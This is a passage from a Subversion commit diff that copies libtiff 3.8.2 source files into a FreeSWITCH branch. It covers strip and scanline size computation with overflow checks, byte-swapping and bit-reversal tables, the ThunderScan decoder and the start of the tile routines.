+			return ((tstrip_t) 0);
+		}
+		strip += sample*td->td_stripsperimage;
+	}
+	return (strip);
+}
+
+/*
+ * Compute how many strips are in an image.
+ */
+tstrip_t
+TIFFNumberOfStrips(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tstrip_t nstrips;
+
+	nstrips = (td->td_rowsperstrip == (uint32) -1 ? 1 :
+	     TIFFhowmany(td->td_imagelength, td->td_rowsperstrip));
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE)
+		nstrips = multiply(tif, nstrips, td->td_samplesperpixel,
+				   "TIFFNumberOfStrips");
+	return (nstrips);
+}
+
+/*
+ * Compute the # bytes in a variable height, row-aligned strip.
+ */
+tsize_t
+TIFFVStripSize(TIFF* tif, uint32 nrows)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (nrows == (uint32) -1)
+		nrows = td->td_imagelength;
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG &&
+	    td->td_photometric == PHOTOMETRIC_YCBCR &&
+	    !isUpSampled(tif)) {
+		/*
+		 * Packed YCbCr data contain one Cb+Cr for every
+		 * HorizontalSampling*VerticalSampling Y values.
+		 * Must also roundup width and height when calculating
+		 * since images that are not a multiple of the
+		 * horizontal/vertical subsampling area include
+		 * YCbCr data for the extended image.
+		 */
+                uint16 ycbcrsubsampling[2];
+                tsize_t w, scanline, samplingarea;
+
+                TIFFGetField( tif, TIFFTAG_YCBCRSUBSAMPLING, 
+                              ycbcrsubsampling + 0, 
+                              ycbcrsubsampling + 1 );
+
+		samplingarea = ycbcrsubsampling[0]*ycbcrsubsampling[1];
+		if (samplingarea == 0) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+				     "Invalid YCbCr subsampling");
+			return 0;
+		}
+
+		w = TIFFroundup(td->td_imagewidth, ycbcrsubsampling[0]);
+		scanline = TIFFhowmany8(multiply(tif, w, td->td_bitspersample,
+						 "TIFFVStripSize"));
+		nrows = TIFFroundup(nrows, ycbcrsubsampling[1]);
+		/* NB: don't need TIFFhowmany here 'cuz everything is rounded */
+		scanline = multiply(tif, nrows, scanline, "TIFFVStripSize");
+		return ((tsize_t)
+		    summarize(tif, scanline,
+			      multiply(tif, 2, scanline / samplingarea,
+				       "TIFFVStripSize"), "TIFFVStripSize"));
+	} else
+		return ((tsize_t) multiply(tif, nrows, TIFFScanlineSize(tif),
+					   "TIFFVStripSize"));
+}
+
+
+/*
+ * Compute the # bytes in a raw strip.
+ */
+tsize_t
+TIFFRawStripSize(TIFF* tif, tstrip_t strip)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	tsize_t bytecount = td->td_stripbytecount[strip];
+
+	if (bytecount <= 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			  "%lu: Invalid strip byte count, strip %lu",
+			  (unsigned long) bytecount, (unsigned long) strip);
+		bytecount = (tsize_t) -1;
+	}
+
+	return bytecount;
+}
+
+/*
+ * Compute the # bytes in a (row-aligned) strip.
+ *
+ * Note that if RowsPerStrip is larger than the
+ * recorded ImageLength, then the strip size is
+ * truncated to reflect the actual space required
+ * to hold the strip.
+ */
+tsize_t
+TIFFStripSize(TIFF* tif)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	uint32 rps = td->td_rowsperstrip;
+	if (rps > td->td_imagelength)
+		rps = td->td_imagelength;
+	return (TIFFVStripSize(tif, rps));
+}
+
+/*
+ * Compute a default strip size based on the image
+ * characteristics and a requested value.  If the
+ * request is <1 then we choose a strip size according
+ * to certain heuristics.
+ */
+uint32
+TIFFDefaultStripSize(TIFF* tif, uint32 request)
+{
+	return (*tif->tif_defstripsize)(tif, request);
+}
+
+uint32
+_TIFFDefaultStripSize(TIFF* tif, uint32 s)
+{
+	if ((int32) s < 1) {
+		/*
+		 * If RowsPerStrip is unspecified, try to break the
+		 * image up into strips that are approximately
+		 * STRIP_SIZE_DEFAULT bytes long.
+		 */
+		tsize_t scanline = TIFFScanlineSize(tif);
+		s = (uint32)STRIP_SIZE_DEFAULT / (scanline == 0 ? 1 : scanline);
+		if (s == 0)		/* very wide images */
+			s = 1;
+	}
+	return (s);
+}
+
+/*
+ * Return the number of bytes to read/write in a call to
+ * one of the scanline-oriented i/o routines.  Note that
+ * this number may be 1/samples-per-pixel if data is
+ * stored as separate planes.
+ */
+tsize_t
+TIFFScanlineSize(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t scanline;
+	
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG) {
+		if (td->td_photometric == PHOTOMETRIC_YCBCR
+		    && !isUpSampled(tif)) {
+			uint16 ycbcrsubsampling[2];
+
+			TIFFGetField(tif, TIFFTAG_YCBCRSUBSAMPLING, 
+				     ycbcrsubsampling + 0,
+				     ycbcrsubsampling + 1);
+
+			if (ycbcrsubsampling[0] == 0) {
+				TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+					     "Invalid YCbCr subsampling");
+				return 0;
+			}
+
+			scanline = TIFFroundup(td->td_imagewidth,
+					       ycbcrsubsampling[0]);
+			scanline = TIFFhowmany8(multiply(tif, scanline,
+							 td->td_bitspersample,
+							 "TIFFScanlineSize"));
+			return ((tsize_t)
+				summarize(tif, scanline,
+					  multiply(tif, 2,
+						scanline / ycbcrsubsampling[0],
+						"TIFFVStripSize"),
+					  "TIFFVStripSize"));
+		} else {
+			scanline = multiply(tif, td->td_imagewidth,
+					    td->td_samplesperpixel,
+					    "TIFFScanlineSize");
+		}
+	} else
+		scanline = td->td_imagewidth;
+	return ((tsize_t) TIFFhowmany8(multiply(tif, scanline,
+						td->td_bitspersample,
+						"TIFFScanlineSize")));
+}
+
+/*
+ * Return the number of bytes required to store a complete
+ * decoded and packed raster scanline (as opposed to the
+ * I/O size returned by TIFFScanlineSize which may be less
+ * if data is store as separate planes).
+ */
+tsize_t
+TIFFRasterScanlineSize(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t scanline;
+	
+	scanline = multiply (tif, td->td_bitspersample, td->td_imagewidth,
+			     "TIFFRasterScanlineSize");
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG) {
+		scanline = multiply (tif, scanline, td->td_samplesperpixel,
+				     "TIFFRasterScanlineSize");
+		return ((tsize_t) TIFFhowmany8(scanline));
+	} else
+		return ((tsize_t) multiply (tif, TIFFhowmany8(scanline),
+					    td->td_samplesperpixel,
+					    "TIFFRasterScanlineSize"));
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_swab.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_swab.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_swab.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_swab.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_swab.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,235 @@
+/* $Id: tif_swab.c,v 1.4 2005/04/13 14:06:21 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library Bit & Byte Swapping Support.
+ *
+ * XXX We assume short = 16-bits and long = 32-bits XXX
+ */
+#include "tiffiop.h"
+
+#ifndef TIFFSwabShort
+void
+TIFFSwabShort(uint16* wp)
+{
+	register unsigned char* cp = (unsigned char*) wp;
+	unsigned char t;
+
+	t = cp[1]; cp[1] = cp[0]; cp[0] = t;
+}
+#endif
+
+#ifndef TIFFSwabLong
+void
+TIFFSwabLong(uint32* lp)
+{
+	register unsigned char* cp = (unsigned char*) lp;
+	unsigned char t;
+
+	t = cp[3]; cp[3] = cp[0]; cp[0] = t;
+	t = cp[2]; cp[2] = cp[1]; cp[1] = t;
+}
+#endif
+
+#ifndef TIFFSwabArrayOfShort
+void
+TIFFSwabArrayOfShort(uint16* wp, register unsigned long n)
+{
+	register unsigned char* cp;
+	register unsigned char t;
+
+	/* XXX unroll loop some */
+	while (n-- > 0) {
+		cp = (unsigned char*) wp;
+		t = cp[1]; cp[1] = cp[0]; cp[0] = t;
+		wp++;
+	}
+}
+#endif
+
+#ifndef TIFFSwabArrayOfTriples
+void
+TIFFSwabArrayOfTriples(uint8* tp, unsigned long n)
+{
+	unsigned char* cp;
+	unsigned char t;
+
+	/* XXX unroll loop some */
+	while (n-- > 0) {
+		cp = (unsigned char*) tp;
+		t = cp[2]; cp[2] = cp[0]; cp[0] = t;
+		tp += 3;
+	}
+}
+#endif
+
+#ifndef TIFFSwabArrayOfLong
+void
+TIFFSwabArrayOfLong(register uint32* lp, register unsigned long n)
+{
+	register unsigned char *cp;
+	register unsigned char t;
+
+	/* XXX unroll loop some */
+	while (n-- > 0) {
+		cp = (unsigned char *)lp;
+		t = cp[3]; cp[3] = cp[0]; cp[0] = t;
+		t = cp[2]; cp[2] = cp[1]; cp[1] = t;
+		lp++;
+	}
+}
+#endif
+
+#ifndef TIFFSwabDouble
+void
+TIFFSwabDouble(double *dp)
+{
+        register uint32* lp = (uint32*) dp;
+        uint32 t;
+
+	TIFFSwabArrayOfLong(lp, 2);
+	t = lp[0]; lp[0] = lp[1]; lp[1] = t;
+}
+#endif
+
+#ifndef TIFFSwabArrayOfDouble
+void
+TIFFSwabArrayOfDouble(double* dp, register unsigned long n)
+{
+	register uint32* lp = (uint32*) dp;
+        register uint32 t;
+
+	TIFFSwabArrayOfLong(lp, n + n);
+        while (n-- > 0) {
+		t = lp[0]; lp[0] = lp[1]; lp[1] = t;
+                lp += 2;
+        }
+}
+#endif
+
+/*
+ * Bit reversal tables.  TIFFBitRevTable[<byte>] gives
+ * the bit reversed value of <byte>.  Used in various
+ * places in the library when the FillOrder requires
+ * bit reversal of byte values (e.g. CCITT Fax 3
+ * encoding/decoding).  TIFFNoBitRevTable is provided
+ * for algorithms that want an equivalent table that
+ * do not reverse bit values.
+ */
+static const unsigned char TIFFBitRevTable[256] = {
+    0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0,
+    0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0,
+    0x08, 0x88, 0x48, 0xc8, 0x28, 0xa8, 0x68, 0xe8,
+    0x18, 0x98, 0x58, 0xd8, 0x38, 0xb8, 0x78, 0xf8,
+    0x04, 0x84, 0x44, 0xc4, 0x24, 0xa4, 0x64, 0xe4,
+    0x14, 0x94, 0x54, 0xd4, 0x34, 0xb4, 0x74, 0xf4,
+    0x0c, 0x8c, 0x4c, 0xcc, 0x2c, 0xac, 0x6c, 0xec,
+    0x1c, 0x9c, 0x5c, 0xdc, 0x3c, 0xbc, 0x7c, 0xfc,
+    0x02, 0x82, 0x42, 0xc2, 0x22, 0xa2, 0x62, 0xe2,
+    0x12, 0x92, 0x52, 0xd2, 0x32, 0xb2, 0x72, 0xf2,
+    0x0a, 0x8a, 0x4a, 0xca, 0x2a, 0xaa, 0x6a, 0xea,
+    0x1a, 0x9a, 0x5a, 0xda, 0x3a, 0xba, 0x7a, 0xfa,
+    0x06, 0x86, 0x46, 0xc6, 0x26, 0xa6, 0x66, 0xe6,
+    0x16, 0x96, 0x56, 0xd6, 0x36, 0xb6, 0x76, 0xf6,
+    0x0e, 0x8e, 0x4e, 0xce, 0x2e, 0xae, 0x6e, 0xee,
+    0x1e, 0x9e, 0x5e, 0xde, 0x3e, 0xbe, 0x7e, 0xfe,
+    0x01, 0x81, 0x41, 0xc1, 0x21, 0xa1, 0x61, 0xe1,
+    0x11, 0x91, 0x51, 0xd1, 0x31, 0xb1, 0x71, 0xf1,
+    0x09, 0x89, 0x49, 0xc9, 0x29, 0xa9, 0x69, 0xe9,
+    0x19, 0x99, 0x59, 0xd9, 0x39, 0xb9, 0x79, 0xf9,
+    0x05, 0x85, 0x45, 0xc5, 0x25, 0xa5, 0x65, 0xe5,
+    0x15, 0x95, 0x55, 0xd5, 0x35, 0xb5, 0x75, 0xf5,
+    0x0d, 0x8d, 0x4d, 0xcd, 0x2d, 0xad, 0x6d, 0xed,
+    0x1d, 0x9d, 0x5d, 0xdd, 0x3d, 0xbd, 0x7d, 0xfd,
+    0x03, 0x83, 0x43, 0xc3, 0x23, 0xa3, 0x63, 0xe3,
+    0x13, 0x93, 0x53, 0xd3, 0x33, 0xb3, 0x73, 0xf3,
+    0x0b, 0x8b, 0x4b, 0xcb, 0x2b, 0xab, 0x6b, 0xeb,
+    0x1b, 0x9b, 0x5b, 0xdb, 0x3b, 0xbb, 0x7b, 0xfb,
+    0x07, 0x87, 0x47, 0xc7, 0x27, 0xa7, 0x67, 0xe7,
+    0x17, 0x97, 0x57, 0xd7, 0x37, 0xb7, 0x77, 0xf7,
+    0x0f, 0x8f, 0x4f, 0xcf, 0x2f, 0xaf, 0x6f, 0xef,
+    0x1f, 0x9f, 0x5f, 0xdf, 0x3f, 0xbf, 0x7f, 0xff
+};
+static const unsigned char TIFFNoBitRevTable[256] = {
+    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 
+    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 
+    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 
+    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 
+    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 
+    0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 
+    0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 
+    0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 
+    0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 
+    0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 
+    0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 
+    0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 
+    0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 
+    0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 
+    0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 
+    0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 
+    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 
+    0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 
+    0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 
+    0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 
+    0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 
+    0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 
+    0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 
+    0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 
+    0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 
+    0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 
+    0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 
+    0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 
+    0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 
+    0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 
+    0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 
+    0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 
+};
+
+const unsigned char*
+TIFFGetBitRevTable(int reversed)
+{
+	return (reversed ? TIFFBitRevTable : TIFFNoBitRevTable);
+}
+
+void
+TIFFReverseBits(register unsigned char* cp, register unsigned long n)
+{
+	for (; n > 8; n -= 8) {
+		cp[0] = TIFFBitRevTable[cp[0]];
+		cp[1] = TIFFBitRevTable[cp[1]];
+		cp[2] = TIFFBitRevTable[cp[2]];
+		cp[3] = TIFFBitRevTable[cp[3]];
+		cp[4] = TIFFBitRevTable[cp[4]];
+		cp[5] = TIFFBitRevTable[cp[5]];
+		cp[6] = TIFFBitRevTable[cp[6]];
+		cp[7] = TIFFBitRevTable[cp[7]];
+		cp += 8;
+	}
+	while (n-- > 0)
+		*cp = TIFFBitRevTable[*cp], cp++;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_thunder.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_thunder.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_thunder.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_thunder.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_thunder.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,158 @@
+/* $Id: tif_thunder.c,v 1.5 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef THUNDER_SUPPORT
+/*
+ * TIFF Library.
+ *
+ * ThunderScan 4-bit Compression Algorithm Support
+ */
+
+/*
+ * ThunderScan uses an encoding scheme designed for
+ * 4-bit pixel values.  Data is encoded in bytes, with
+ * each byte split into a 2-bit code word and a 6-bit
+ * data value.  The encoding gives raw data, runs of
+ * pixels, or pixel values encoded as a delta from the
+ * previous pixel value.  For the latter, either 2-bit
+ * or 3-bit delta values are used, with the deltas packed
+ * into a single byte.
+ */
+#define	THUNDER_DATA		0x3f	/* mask for 6-bit data */
+#define	THUNDER_CODE		0xc0	/* mask for 2-bit code word */
+/* code values */
+#define	THUNDER_RUN		0x00	/* run of pixels w/ encoded count */
+#define	THUNDER_2BITDELTAS	0x40	/* 3 pixels w/ encoded 2-bit deltas */
+#define	    DELTA2_SKIP		2	/* skip code for 2-bit deltas */
+#define	THUNDER_3BITDELTAS	0x80	/* 2 pixels w/ encoded 3-bit deltas */
+#define	    DELTA3_SKIP		4	/* skip code for 3-bit deltas */
+#define	THUNDER_RAW		0xc0	/* raw data encoded */
+
+static const int twobitdeltas[4] = { 0, 1, 0, -1 };
+static const int threebitdeltas[8] = { 0, 1, 2, 3, 0, -3, -2, -1 };
+
+#define	SETPIXEL(op, v) { \
+	lastpixel = (v) & 0xf; \
+	if (npixels++ & 1) \
+	    *op++ |= lastpixel; \
+	else \
+	    op[0] = (tidataval_t) (lastpixel << 4); \
+}
+
+static int
+ThunderDecode(TIFF* tif, tidata_t op, tsize_t maxpixels)
+{
+	register unsigned char *bp;
+	register tsize_t cc;
+	unsigned int lastpixel;
+	tsize_t npixels;
+
+	bp = (unsigned char *)tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+	lastpixel = 0;
+	npixels = 0;
+	while (cc > 0 && npixels < maxpixels) {
+		int n, delta;
+
+		n = *bp++, cc--;
+		switch (n & THUNDER_CODE) {
+		case THUNDER_RUN:		/* pixel run */
+			/*
+			 * Replicate the last pixel n times,
+			 * where n is the lower-order 6 bits.
+			 */
+			if (npixels & 1) {
+				op[0] |= lastpixel;
+				lastpixel = *op++; npixels++; n--;
+			} else
+				lastpixel |= lastpixel << 4;
+			npixels += n;
+			if (npixels < maxpixels) {
+				for (; n > 0; n -= 2)
+					*op++ = (tidataval_t) lastpixel;
+			}
+			if (n == -1)
+				*--op &= 0xf0;
+			lastpixel &= 0xf;
+			break;
+		case THUNDER_2BITDELTAS:	/* 2-bit deltas */
+			if ((delta = ((n >> 4) & 3)) != DELTA2_SKIP)
+				SETPIXEL(op, lastpixel + twobitdeltas[delta]);
+			if ((delta = ((n >> 2) & 3)) != DELTA2_SKIP)
+				SETPIXEL(op, lastpixel + twobitdeltas[delta]);
+			if ((delta = (n & 3)) != DELTA2_SKIP)
+				SETPIXEL(op, lastpixel + twobitdeltas[delta]);
+			break;
+		case THUNDER_3BITDELTAS:	/* 3-bit deltas */
+			if ((delta = ((n >> 3) & 7)) != DELTA3_SKIP)
+				SETPIXEL(op, lastpixel + threebitdeltas[delta]);
+			if ((delta = (n & 7)) != DELTA3_SKIP)
+				SETPIXEL(op, lastpixel + threebitdeltas[delta]);
+			break;
+		case THUNDER_RAW:		/* raw data */
+			SETPIXEL(op, n);
+			break;
+		}
+	}
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	if (npixels != maxpixels) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "ThunderDecode: %s data at scanline %ld (%lu != %lu)",
+		    npixels < maxpixels ? "Not enough" : "Too much",
+		    (long) tif->tif_row, (long) npixels, (long) maxpixels);
+		return (0);
+	}
+	return (1);
+}
+
+static int
+ThunderDecodeRow(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	tidata_t row = buf;
+	
+	(void) s;
+	while ((long)occ > 0) {
+		if (!ThunderDecode(tif, row, tif->tif_dir.td_imagewidth))
+			return (0);
+		occ -= tif->tif_scanlinesize;
+		row += tif->tif_scanlinesize;
+	}
+	return (1);
+}
+
+int
+TIFFInitThunderScan(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	tif->tif_decoderow = ThunderDecodeRow;
+	tif->tif_decodestrip = ThunderDecodeRow;
+	return (1);
+}
+#endif /* THUNDER_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_tile.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_tile.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_tile.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_tile.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_tile.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,273 @@
+/* $Id: tif_tile.c,v 1.12 2006/02/09 16:15:43 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Tiled Image Support Routines.
+ */
+#include "tiffiop.h"
+
+static uint32
+summarize(TIFF* tif, size_t summand1, size_t summand2, const char* where)
+{
+	/*
+	 * XXX: We are using casting to uint32 here, because sizeof(size_t)
+	 * may be larger than sizeof(uint32) on 64-bit architectures.
+	 */
+	uint32	bytes = summand1 + summand2;
+
+	if (bytes - summand1 != summand2) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Integer overflow in %s", where);
+		bytes = 0;
+	}
+
+	return (bytes);
+}
+
+static uint32
+multiply(TIFF* tif, size_t nmemb, size_t elem_size, const char* where)
+{
+	uint32	bytes = nmemb * elem_size;
+
+	if (elem_size && bytes / elem_size != nmemb) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Integer overflow in %s", where);
+		bytes = 0;
+	}
+
+	return (bytes);
+}
+
+/*
+ * Compute which tile an (x,y,z,s) value is in.
+ */
+ttile_t
+TIFFComputeTile(TIFF* tif, uint32 x, uint32 y, uint32 z, tsample_t s)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	uint32 dx = td->td_tilewidth;
+	uint32 dy = td->td_tilelength;
+	uint32 dz = td->td_tiledepth;
+	ttile_t tile = 1;
+
+	if (td->td_imagedepth == 1)
+		z = 0;
+	if (dx == (uint32) -1)
+		dx = td->td_imagewidth;
+	if (dy == (uint32) -1)
+		dy = td->td_imagelength;
+	if (dz == (uint32) -1)
+		dz = td->td_imagedepth;
+	if (dx != 0 && dy != 0 && dz != 0) {
+		uint32 xpt = TIFFhowmany(td->td_imagewidth, dx); 
+		uint32 ypt = TIFFhowmany(td->td_imagelength, dy); 
+		uint32 zpt = TIFFhowmany(td->td_imagedepth, dz); 
+
+		if (td->td_planarconfig == PLANARCONFIG_SEPARATE) 
+			tile = (xpt*ypt*zpt)*s +
+			     (xpt*ypt)*(z/dz) +
+			     xpt*(y/dy) +
+			     x/dx;
+		else
+			tile = (xpt*ypt)*(z/dz) + xpt*(y/dy) + x/dx;
+	}
+	return (tile);
+}
+
+/*
+ * Check an (x,y,z,s) coordinate
+ * against the image bounds.
+ */
+int
+TIFFCheckTile(TIFF* tif, uint32 x, uint32 y, uint32 z, tsample_t s)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (x >= td->td_imagewidth) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			     "%lu: Col out of range, max %lu",
+			     (unsigned long) x,
+			     (unsigned long) (td->td_imagewidth - 1));
+		return (0);
+	}
+	if (y >= td->td_imagelength) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			     "%lu: Row out of range, max %lu",
+			     (unsigned long) y,
+			     (unsigned long) (td->td_imagelength - 1));
+		return (0);
+	}
+	if (z >= td->td_imagedepth) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			     "%lu: Depth out of range, max %lu",
+			     (unsigned long) z,
+			     (unsigned long) (td->td_imagedepth - 1));
+		return (0);
+	}
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE &&
+	    s >= td->td_samplesperpixel) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			     "%lu: Sample out of range, max %lu",
+			     (unsigned long) s,
